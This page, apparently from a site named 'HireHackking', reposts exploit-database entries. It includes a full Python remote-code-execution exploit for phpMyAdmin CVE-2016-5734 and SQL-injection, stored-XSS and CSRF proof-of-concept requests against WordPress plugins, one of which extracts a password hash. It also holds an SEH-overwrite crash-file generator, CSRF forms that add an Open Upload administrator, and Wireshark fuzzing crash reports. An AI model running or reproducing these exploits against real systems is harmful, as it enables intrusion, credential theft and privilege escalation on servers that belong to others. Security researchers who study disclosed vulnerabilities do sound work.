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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/env python

"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""

import requests
import argparse
import sys

__author__ = "@iamsecurity"

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("url", type=str, help="URL with path to PMA")
    parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
    parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
    parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
    parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
    parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
    arguments = parser.parse_args()
    url_to_pma = arguments.url
    uname = arguments.user
    upass = arguments.pwd
    if arguments.dbs:
        db = arguments.dbs
    else:
        db = "test"
    token = False
    custom_table = False
    if arguments.table:
        custom_table = True
        table = arguments.table
    else:
        table = "prgpwn"
    if arguments.cmd:
        payload = arguments.cmd
    else:
        payload = "system('uname -a');"

    size = 32
    s = requests.Session()
    # you can manually add proxy support it's very simple ;)
    # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
    s.verify = False
    sql = '''CREATE TABLE `{0}` (
      `first` varchar(10) CHARACTER SET utf8 NOT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
    INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
    '''.format(table)

    # get_token
    resp = s.post(url_to_pma + "/?lang=en", dict(
        pma_username=uname,
        pma_password=upass
    ))
    if resp.status_code is 200:
        token_place = resp.text.find("token=") + 6
        token = resp.text[token_place:token_place + 32]
    if token is False:
        print("Cannot get valid authorization token.")
        sys.exit(1)

    if custom_table is False:
        data = {
            "is_js_confirmed": "0",
            "db": db,
            "token": token,
            "pos": "0",
            "sql_query": sql,
            "sql_delimiter": ";",
            "show_query": "0",
            "fk_checks": "0",
            "SQL": "Go",
            "ajax_request": "true",
            "ajax_page_request": "true",
        }
        resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
        if resp.status_code == 200:
            if "success" in resp.json():
                if resp.json()["success"] is False:
                    first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
                    error = first[:first.find("</code>")]
                    if "already exists" in error:
                        print(error)
                    else:
                        print("ERROR: " + error)
                        sys.exit(1)
    # build exploit
    exploit = {
        "db": db,
        "table": table,
        "token": token,
        "goto": "sql.php",
        "find": "0/e\0",
        "replaceWith": payload,
        "columnIndex": "0",
        "useRegex": "on",
        "submit": "Go",
        "ajax_request": "true"
    }
    resp = s.post(
        url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
    )
    if resp.status_code == 200:
        result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
        if len(result):
            print("result: " + result)
            sys.exit(0)
        print(
            "Exploit failed!\n"
            "Try to manually set exploit parameters like --table, --database and --token.\n"
            "Remember that servers with PHP version greater than 5.4.6"
            " is not exploitable, because of warning about null byte in regexp"
        )
        sys.exit(1)
HireHackking 
SQL injection vulnerability in Booking Calendar WordPress Plugin

Abstract

An SQL injection vulnerability exists in the Booking Calendar WordPress plugin. This vulnerability allows an attacker to view data from the database. The affected parameter is not properly sanitized or protected with an anti-Cross-Site Request Forgery token. Consequently, it can (also be exploited by luring the target user into clicking a specially crafted link or visiting a malicious website (or advertisement).

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID
OVE-20160714-0002

Tested versions

These issues were successfully tested on Booking Calendar WordPress Plugin version 6.2.

Fix

This issue is resolved in Booking Calendar version 6.2.1.

Introduction

The Booking Calendar WordPress Plugin is a booking system for online reservation and availability checking service for your site. An SQL injection vulnerability exists in the Booking Calendar WordPress plugin. This vulnerability allows an attacker to view data from the database. The affected parameter is not properly sanitized or protected with an anti-Cross-Site Request Forgery token. Consequently, it can (also be exploited by luring the target user into clicking a specially crafted link or visiting a malicious website (or advertisement).

Details

This was discovered by the using the filter by Booking ID field. Because a WordPress user with the 'Editor' role can also use the Booking plugin, Editors can also access the vulnerable parameter. This allows these users to view all data from the database. The vulnerability exists in the wpdev_get_args_from_request_in_bk_listing() function from booking/lib/wpdev-bk-lib.php (line 709).

Proof of concept

The following proof of concept will show the hashed password from the first user.

<html>
   <body>
      <form action="http://<target>/wp-admin/admin.php?page=booking%2Fwpdev-booking.phpwpdev-booking&wh_approved&wh_is_new=1&wh_booking_date=3&view_mode=vm_listing" method="POST">
         <input type="hidden" name="wh&#95;booking&#95;id" value="3 AND (SELECT 5283 FROM(SELECT COUNT(*),CONCAT(0x7176626271,(SELECT MID((IFNULL(CAST(user_pass AS CHAR),0x20)),1,54) FROM wordpress.wp_users ORDER BY ID LIMIT 0,1),0x717a787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" />
         <input type="submit" value="Submit request" />
      </form>
   </body>
</html>
HireHackking 
Stored Cross-Site Scripting vulnerability in WP Live Chat Support WordPress Plugin

Abstract

A stored Cross-Site Scripting vulnerability was found in the WP Live Chat Support WordPress Plugin. This issue can be exploited by an unauthenticated user. It allows an attacker to perform a wide variety of actions, such as stealing users' session tokens, or performing arbitrary actions on their behalf.

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID
OVE-20160724-0010

Tested versions

This issue was successfully tested on WP Live Chat Support WordPress Plugin version 6.2.03.

Fix

This issue is resolved in WP Live Chat Support version 6.2.04.

Introduction

WP Live Chat Support allows chatting with visitors of a WordPress site. A persistent Cross-Site Scripting vulnerability has been discovered in the WP Live Chat Support allowing an attacker to execute actions on behalf of a logged on WordPress user. A stored Cross-Site Scripting vulnerability was found in the WP Live Chat Support WordPress Plugin. This issue can be exploited by an unauthenticated user. It allows an attacker to perform a wide variety of actions, such as stealing users' session tokens, or performing arbitrary actions on their behalf.

Details

The vulnerability exists in the file wp-live-chat-support/functions.php (line 1233), which is called in the file wp-live-chat-support/wp-live-chat-support.php (line 602):

wp-live-chat-support/wp-live-chat-support.php:

600 if ($_POST['action'] == "wplc_user_send_offline_message") {
601 if(function_exists('wplc_send_offline_msg')){ wplc_send_offline_msg($_POST['name'], $_POST['email'], $_POST['msg'], $_POST['cid']); }
602 if(function_exists('wplc_store_offline_message')){ wplc_store_offline_message($_POST['name'], $_POST['email'], $_POST['msg']); }
603 do_action("wplc_hook_offline_message",array(
604 "cid"=>$_POST['cid'],
605 "name"=>$_POST['name'],
606 "email"=>$_POST['email'],
607 "url"=>get_site_url(),
608 "msg"=>$_POST['msg']
609 )
610 );
611 }

wp-live-chat-support/functions.php:

1206 function wplc_store_offline_message($name, $email, $message){
1207 global $wpdb;
1208 global $wplc_tblname_offline_msgs;
1209 
1210 $wplc_settings = get_option('WPLC_SETTINGS');
1211 
1212 if(isset($wplc_settings['wplc_record_ip_address']) && $wplc_settings['wplc_record_ip_address'] == 1){
1213 if(isset($_SERVER['HTTP_X_FORWARDED_FOR']) && $_SERVER['HTTP_X_FORWARDED_FOR'] != '') {
1214 $ip_address = $_SERVER['HTTP_X_FORWARDED_FOR'];
1215 } else {
1216 $ip_address = $_SERVER['REMOTE_ADDR'];
1217 }
1218 $offline_ip_address = $ip_address;
1219 } else {
1220 $offline_ip_address = "";
1221 }
1222 
1223 
1224 $ins_array = array(
1225 'timestamp' => current_time('mysql'),
1226 'name' => $name,
1227 'email' => $email,
1228 'message' => $message,
1229 'ip' => $offline_ip_address,
1230 'user_agent' => $_SERVER['HTTP_USER_AGENT']
1231 );
1232 
1233 $rows_affected = $wpdb->insert( $wplc_tblname_offline_msgs, $ins_array );
1234 return;
1235 }

The vulnerability can be exploited using a specially crafted POST request. The victim needs view the WP Live Chat Offline Messages page to trigger the Cross-Site Scripting payload. It should be noted taht the offline message functionality is available even if there is a logged on chat user present.

Proof of concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 361
Connection: close
   
action=wplc_user_send_offline_message&security=8d1fc19e30&cid=1&name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 32, 105, 110, 32, 110, 97, 109, 101, 33, 34, 41, 59));</script>&email=Mail&msg=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 32, 105, 110, 32, 109, 115, 103, 33, 34, 41, 59));</script>
HireHackking 
Cross-Site Request Forgery in ALO EasyMail Newsletter WordPress Plugin

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID
OVE-20160724-0021

Abstract

It was discovered that the ALO EasyMail Newsletter WordPress Plugin is vulnerable to Cross-Site Request Forgery. Amongst others, this issue can be used to add/import arbitrary subscribers. In order to exploit this issue, the attacker has to lure/force a victim into opening a malicious website/link.

Tested versions

This issue was successfully tested on ALO EasyMail Newsletter WordPress Plugin version 2.9.2.

Fix

This issue is resolved in ALO EasyMail Newsletter version 2.9.3.

Introduction

ALO EasyMail Newsletter is a plugin for WordPress that allows to write and send newsletters, and to gather and manage the subscribers. It supports internationalization and multilanguage. It was discovered that the ALO EasyMail Newsletter WordPress Plugin is vulnerable to Cross-Site Request Forgery.

Details

A number of actions within ALO EasyMail Newsletter consist of two steps. The 'step one' action is protected against Cross-Site Request Forgery by means of the check_admin_referer() WordPress function.

<?php 
/**
* Bulk action: Step #1/2
*/
if ( isset($_REQUEST['doaction_step1']) ) {
   check_admin_referer('alo-easymail_subscribers');

However the call to check_admin_referer() has been commented out for all 'step two' actions. Due to this it is possible for an attacker to perform a Cross-Site Request Forgery attack for all the 'step 2' actions.

/**
* Bulk action: Step #2/2
*/
if ( isset($_REQUEST['doaction_step2']) ) {
   //if($wp_version >= '2.6.5') check_admin_referer('alo-easymail_subscribers');

   
Amongst others, this issue can be used to add/import arbitrary subscribers. In order to exploit this issue, the attacker has to lure/force a victim into opening a malicious website/link.

Proof of concept

POST /wp-admin/edit.php?post_type=newsletter&page=alo-easymail%2Fpages%2Falo-easymail-admin-subscribers.php&doaction_step2=true&action=import HTTP/1.1
Host: <target>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: <session cookies>
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------17016644981835490787491067954
Content-Length: 645
   
-----------------------------17016644981835490787491067954
Content-Disposition: form-data; name="uploaded_csv"; filename="foo.csv"
Content-Type: text/plain
   
sumofpwn@securify.n;Summer of Pwnage;en
   
-----------------------------17016644981835490787491067954
Content-Disposition: form-data; name="post_type"
   
newsletter
-----------------------------17016644981835490787491067954
Content-Disposition: form-data; name="action"
   
import_step2
-----------------------------17016644981835490787491067954
Content-Disposition: form-data; name="doaction_step2"
   
Upload CSV file
-----------------------------17016644981835490787491067954--
HireHackking 
# Exploit Title: [Haliburton LogView Pro v9.7.5]
# Exploit Author: [Karn Ganeshen]
# Download link: [http://www.halliburton.com/public/lp/contents/Interactive_Tools/web/Toolkits/lp/Halliburton_Log_Viewer.exe]

# Version: [Current version 9.7.5]
# Tested on: [Windows Vista Ultimate SP2]
#
# Open cgm/tif/tiff/tifh file -> program crash -> SEH overwritten
#
# SEH chain of main thread
# Address SE handler
# 0012D22C kernel32.76B6FEF9
# 0012D8CC 42424242
# 41414141 *** CORRUPT ENTRY ***
#

#!/usr/bin/python

file="evil.cgm"
buffer = "A"*804 + "B"*4

file = open(file, 'w')
file.write(buffer)
file.close()

# +++++
HireHackking 
================================================================================================================
Open Upload 0.4.2 Remote Admin Add CSRF Exploit and Changing Normal user permission
================================================================================================================
# Exploit Title		: Open Upload 0.4.2 Remote Admin Add CSRF Exploit
# Exploit Author	: Vinesh Redkar (@b0rn2pwn) 
# Email      		: vineshredkar89[at]gmail[d0t]com
# Date: 21/07/2016
# Vendor Homepage: http://openupload.sourceforge.net/
# Software Link: https://sourceforge.net/projects/openupload/
# Version: 0.4.2
# Tested on: Windows 10 OS
 
Open Upload Application is vulnerable to CSRF attack (No CSRF token in place) meaning
that if an admin user can be tricked to visit a crafted URL created by
attacker (via spear phishing/social engineering).

Once exploited, the attacker can login as the admin using the username and the password he posted in the form.

======================CSRF POC (Adding New user with Admin Privileges)==================================
CSRF PoC Code
<html>
<head>
<title>Remote Admin Add CSRF Exploit</title>
</head>
<H2>Remote Admin Add CSRF Exploit by b0rn2pwn</H2>
  <body>
    <form action="http://127.0.0.1/openupload/index.php" method="POST">
      <input type="hidden" name="action" value="adminusers" />
      <input type="hidden" name="step" value="2" />
      <input type="hidden" name="adduserlogin" value="attacker" />
      <input type="hidden" name="adduserpassword" value="attacker" />
      <input type="hidden" name="adduserrepassword" value="attacker" />
      <input type="hidden" name="addusername" value="attacker" />
      <input type="hidden" name="adduseremail" value="attacker&#64;gmail&#46;com" />
      <input type="hidden" name="addusergroup" value="admins" />
      <input type="hidden" name="adduserlang" value="en" />
      <input type="hidden" name="adduseractive" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

======================CSRF POC (Changing privileges from normal user to administer)==================================

<html>
<head>
<title>Change privilege normal user to administer CSRF Exploit</title>
</head>
<H2>Change privilege normal user to administer CSRF Exploit by b0rn2pwn</H2>
  <body>
    <form action="http://127.0.0.1/openupload/index.php" method="POST">
      <input type="hidden" name="action" value="adminusers" />
      <input type="hidden" name="step" value="3" />
      <input type="hidden" name="login" value="normal user" />
      <input type="hidden" name="edituserpassword" value="" />
      <input type="hidden" name="edituserrepassword" value="" />
      <input type="hidden" name="editusername" value="normaluser" />
      <input type="hidden" name="edituseremail" value="normaluser&#64;gmail&#46;com" />
      <input type="hidden" name="editusergroup" value="admins" />
      <input type="hidden" name="edituserlang" value="en" />
      <input type="hidden" name="edituseractive" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
HireHackking 
Sample generated with AFL

Build Information:
TShark 1.12.9 (v1.12.9-0-gfadb421 from (HEAD)

Copyright 1998-2015 Gerald Combs <gerald@wireshark.org> and contributors.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Compiled (64-bit) with GLib 2.48.1, with libpcap, with libz 1.2.8, with POSIX
capabilities (Linux), with libnl 3, without SMI, with c-ares 1.11.0, without
Lua, without Python, with GnuTLS 3.4.13, with Gcrypt 1.7.1, with MIT Kerberos,
with GeoIP.

Running on Linux 4.6.2-1-ARCH, with locale en_US.utf8, with libpcap version
1.7.4, with libz 1.2.8.
       Intel(R) Core(TM) i5-2520M CPU @ 2.50GHz

Built using clang 4.2.1 Compatible Clang 3.8.0 (tags/RELEASE_380/final).
--
This issue was uncovered with AFL (http://lcamtuf.coredump.cx/afl/)

There is a bug in dissect_nds_request located in epan/dissectors/packet-ncp2222.inc.

dissect_nds_request attempts to call ptvcursor_free() near packet-ncp2222.inc:11806 using the variable ptvc that is set to null at the start of dissect_nds_request. Using the attached sample, the only place ptvc could be set (~ncp2222.inc:11618) is never executed and thus ptvc remains a null pointer.

Credit goes to Chris Benedict, Aurelien Delaitre, NIST SAMATE Project, https://samate.nist.gov


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40194.zip
HireHackking 
Build Information:
TShark (Wireshark) 2.0.2 (SVN Rev Unknown from unknown)

Copyright 1998-2016 Gerald Combs <gerald@wireshark.org> and contributors.
License GPLv2+: GNU GPL version 2 or later <http://www.gnu.org/licenses/old-licenses/gpl-2.0.html>
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Compiled (64-bit) with libpcap, with POSIX capabilities (Linux), with libnl 3,
with libz 1.2.8, with GLib 2.48.0, with SMI 0.4.8, with c-ares 1.10.0, with Lua
5.2, with GnuTLS 3.4.10, with Gcrypt 1.6.5, with MIT Kerberos, with GeoIP.

Running on Linux 4.4.0-22-generic, with locale en_GB.UTF-8, with libpcap version
1.7.4, with libz 1.2.8, with GnuTLS 3.4.10, with Gcrypt 1.6.5.
Intel Core Processor (Haswell) (with SSE4.2)

Built using gcc 5.3.1 20160407.

--
Fuzzed PCAP eats large amounts of memory ( >4GB ) with a single UDP packet on tshark 2.0.2 and a recent build from repository


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40195.zip
HireHackking 
GIOP capture

Build Information:
Version 2.0.3 (v2.0.3-0-geed34f0 from master-2.0)

Copyright 1998-2016 Gerald Combs <gerald@wireshark.org> and contributors.
License GPLv2+: GNU GPL version 2 or later <http://www.gnu.org/licenses/old-licenses/gpl-2.0.html>
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Compiled (64-bit) with Qt 5.3.2, with WinPcap (4_1_3), with libz 1.2.8, with
GLib 2.42.0, with SMI 0.4.8, with c-ares 1.9.1, with Lua 5.2, with GnuTLS
3.2.15, with Gcrypt 1.6.2, with MIT Kerberos, with GeoIP, with QtMultimedia,
with AirPcap.

Running on 64-bit Windows 8.1, build 9600, with locale C, without WinPcap, with
GnuTLS 3.2.15, with Gcrypt 1.6.2, without AirPcap.
       Intel(R) Core(TM) i5-2520M CPU @ 2.50GHz (with SSE4.2), with 16334MB of
physical memory.


Built using Microsoft Visual C++ 12.0 build 40629


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40196.zip
HireHackking 
Sample generated by AFL

Build Information:
TShark 1.12.9 (v1.12.9-0-gfadb421 from (HEAD)

Copyright 1998-2015 Gerald Combs <gerald@wireshark.org> and contributors.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Compiled (64-bit) with GLib 2.48.1, with libpcap, with libz 1.2.8, with POSIX
capabilities (Linux), with libnl 3, without SMI, with c-ares 1.11.0, without
Lua, without Python, with GnuTLS 3.4.13, with Gcrypt 1.7.1, with MIT Kerberos,
with GeoIP.

Running on Linux 4.6.2-1-ARCH, with locale en_US.utf8, with libpcap version
1.7.4, with libz 1.2.8.
       Intel(R) Core(TM) i5-2520M CPU @ 2.50GHz
--
This issue was uncovered with AFL (http://lcamtuf.coredump.cx/afl/)

The attached sample evokes a divide-by-zero error in the dissect_pbb_tlvblock() function at packet-packetbb.c:289.

The variable of interest seems to be 'c' which is set at packet-packetbb.c:285 using two other variables and an addition. When c is zero, the expression "length/c" at packet-packetbb.c:289 results in a divide-by-zero error.

Divide-by-zero has been observed when sample is parsed by tshark versions 1.12.8, 1.12.9, 1.12.10, 1.12.12, and 2.0.4 among others.

Credit goes to Chris Benedict, Aurelien Delaitre, NIST SAMATE Project, https://samate.nist.gov


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40197.zip
HireHackking 
Sample generated with AFL

Build Information:
TShark (Wireshark) 2.0.4

Copyright 1998-2016 Gerald Combs <gerald@wireshark.org> and contributors.
License GPLv2+: GNU GPL version 2 or later <http://www.gnu.org/licenses/old-licenses/gpl-2.0.html>
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Compiled (64-bit) with libpcap, with POSIX capabilities (Linux), with libnl 3,
with libz 1.2.8, with GLib 2.48.1, without SMI, with c-ares 1.11.0, with Lua
5.2, with GnuTLS 3.4.13, with Gcrypt 1.7.1, with MIT Kerberos, with GeoIP.

Running on Linux 4.6.3-1-ARCH, with locale en_US.utf8, with libpcap version
1.7.4, with libz 1.2.8, with GnuTLS 3.4.13, with Gcrypt 1.7.1.
       Intel(R) Core(TM) i5-2520M CPU @ 2.50GHz (with SSE4.2)

Built using gcc 6.1.1 20160602.
--
This issue was uncovered with AFL (http://lcamtuf.coredump.cx/afl/)

This infinite loop is caused by an offset of 0 being returned by wkh_content_disposition(). This offset of 0 prevents the while loop using "offset < tvb_len" from returning and results in an infinite loop.

This issue has been observed in both tshark 1.12.x and 2.0.x.

Credit goes to Chris Benedict, Aurelien Delaitre, NIST SAMATE Project, https://samate.nist.gov


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40198.zip
HireHackking 
Sample PCAP

Build Information:
TShark (Wireshark) 2.0.2 (SVN Rev Unknown from unknown)

Copyright 1998-2016 Gerald Combs <gerald@wireshark.org> and contributors.
License GPLv2+: GNU GPL version 2 or later <http://www.gnu.org/licenses/old-licenses/gpl-2.0.html>
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Compiled (64-bit) with libpcap, with POSIX capabilities (Linux), with libnl 3,
with libz 1.2.8, with GLib 2.48.0, with SMI 0.4.8, with c-ares 1.10.0, with Lua
5.2, with GnuTLS 3.4.10, with Gcrypt 1.6.5, with MIT Kerberos, with GeoIP.

Running on Linux 4.4.0-22-generic, with locale en_GB.UTF-8, with libpcap version
1.7.4, with libz 1.2.8, with GnuTLS 3.4.10, with Gcrypt 1.6.5.
Intel Core Processor (Haswell) (with SSE4.2)

Built using gcc 5.3.1 20160407.

--
Fuzzed PCAP takes 100% CPU and runs for a long time on tshark 2.0.2 and a recent build from repository ( commit 688d055acd523e645c1e87267dcf4a0a9867adbd ).

GDB backtrace from 'tshark -2 -V -r <pcap>' aborted after running for a while:

Program received signal SIGABRT, Aborted.
0x00007ffff45bb676 in rlc_decode_li (mode=RLC_AM, tvb=0x9342c0, pinfo=0xb04c18, tree=0x0, li=0x7fffffffbab0, max_li=16 '\020', li_on_2_bytes=0) at packet-rlc.c:1722
1722	        next_bytes = li_on_2_bytes ? tvb_get_ntohs(tvb, hdr_len) : tvb_get_guint8(tvb, hdr_len);
123 tomb gdb execution "thread apply all bt" 321

Thread 1 (Thread 0x7ffff7fb9740 (LWP 1578)):
#0  0x00007ffff45bb676 in rlc_decode_li (mode=RLC_AM, tvb=0x9342c0, pinfo=0xb04c18, tree=0x0, li=0x7fffffffbab0, max_li=16 '\020', li_on_2_bytes=0) at packet-rlc.c:1722
#1  0x00007ffff45bde04 in dissect_rlc_am (channel=RLC_UL_DCCH, tvb=0x9342c0, pinfo=0xb04c18, top_level=0x0, tree=0x0, atm=0x0) at packet-rlc.c:2308
#2  0x00007ffff45be82a in dissect_rlc_dcch (tvb=0x9342c0, pinfo=0xb04c18, tree=0x0, data=0x0) at packet-rlc.c:2477
#3  0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffedb08f50, tvb=0x9342c0, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:660
#4  0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffedb08f50, tvb=0x9342c0, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x0) at packet.c:735
#5  0x00007ffff3cadd25 in call_dissector_only (handle=0x7fffedb08f50, tvb=0x9342c0, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:2791
#6  0x00007ffff3cadd68 in call_dissector_with_data (handle=0x7fffedb08f50, tvb=0x9342c0, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:2804
#7  0x00007ffff47e7679 in dissect_mac_fdd_dch (tvb=0xb0ac50, pinfo=0xb04c18, tree=0x0, data=0x0) at packet-umts_mac.c:564
#8  0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffedb13b70, tvb=0xb0ac50, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:660
#9  0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffedb13b70, tvb=0xb0ac50, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x0) at packet.c:735
#10 0x00007ffff3cadd25 in call_dissector_only (handle=0x7fffedb13b70, tvb=0xb0ac50, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:2791
#11 0x00007ffff3cadd68 in call_dissector_with_data (handle=0x7fffedb13b70, tvb=0xb0ac50, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:2804
#12 0x00007ffff47dab2e in dissect_tb_data (tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, offset=3, p_fp_info=0x7fffeca74180, data_handle=0x7ffff7aae8e8 <mac_fdd_dch_handle>, data=0x0) at packet-umts_fp.c:815
#13 0x00007ffff47decbb in dissect_dch_channel_info (tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, offset=3, p_fp_info=0x7fffeca74180, data=0x0) at packet-umts_fp.c:2557
#14 0x00007ffff47e476e in dissect_fp_common (tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, data=0x0) at packet-umts_fp.c:4419
#15 0x00007ffff47e4add in dissect_fp (tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, data=0x0) at packet-umts_fp.c:4507
#16 0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffeda51580, tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:660
#17 0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffeda51580, tvb=0xb0ac00, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x0) at packet.c:735
#18 0x00007ffff3cadd25 in call_dissector_only (handle=0x7fffeda51580, tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:2791
#19 0x00007ffff3c99819 in try_conversation_dissector (addr_a=0xb04cf0, addr_b=0xb04cd8, ptype=PT_UDP, port_a=65359, port_b=8040, tvb=0xb0ac00, pinfo=0xb04c18, tree=0x0, data=0x0) at conversation.c:1323
#20 0x00007ffff47d3839 in decode_udp_ports (tvb=0x848b70, offset=8, pinfo=0xb04c18, tree=0x0, uh_sport=8040, uh_dport=65359, uh_ulen=3554) at packet-udp.c:541
#21 0x00007ffff47d5e21 in dissect (tvb=0x848b70, pinfo=0xb04c18, tree=0x0, ip_proto=17) at packet-udp.c:1080
#22 0x00007ffff47d5e79 in dissect_udp (tvb=0x848b70, pinfo=0xb04c18, tree=0x0, data=0x7fffec869030) at packet-udp.c:1086
#23 0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffedb13330, tvb=0x848b70, pinfo=0xb04c18, tree=0x0, data=0x7fffec869030) at packet.c:660
#24 0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffedb13330, tvb=0x848b70, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x7fffec869030) at packet.c:735
#25 0x00007ffff3cab583 in dissector_try_uint_new (sub_dissectors=0x7b1cc0, uint_val=17, tvb=0x848b70, pinfo=0xb04c18, tree=0x0, add_proto_name=1, data=0x7fffec869030) at packet.c:1199
#26 0x00007ffff425e409 in ip_try_dissect (heur_first=0, tvb=0x848b70, pinfo=0xb04c18, tree=0x0, iph=0x7fffec869030) at packet-ip.c:1977
#27 0x00007ffff426037c in dissect_ip_v4 (tvb=0x848b20, pinfo=0xb04c18, parent_tree=0x0, data=0x0) at packet-ip.c:2476
#28 0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffedb78930, tvb=0x848b20, pinfo=0xb04c18, tree=0x0, data=0x0) at packet.c:660
#29 0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffedb78930, tvb=0x848b20, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x0) at packet.c:735
#30 0x00007ffff3cab583 in dissector_try_uint_new (sub_dissectors=0x73c040, uint_val=2048, tvb=0x848b20, pinfo=0xb04c18, tree=0x0, add_proto_name=1, data=0x0) at packet.c:1199
#31 0x00007ffff3cab5e4 in dissector_try_uint (sub_dissectors=0x73c040, uint_val=2048, tvb=0x848b20, pinfo=0xb04c18, tree=0x0) at packet.c:1225
#32 0x00007ffff40a1c60 in dissect_ethertype (tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffcc20) at packet-ethertype.c:262
#33 0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffeda50000, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffcc20) at packet.c:660
#34 0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffeda50000, tvb=0xb03d20, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x7fffffffcc20) at packet.c:735
#35 0x00007ffff3cadd25 in call_dissector_only (handle=0x7fffeda50000, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffcc20) at packet.c:2791
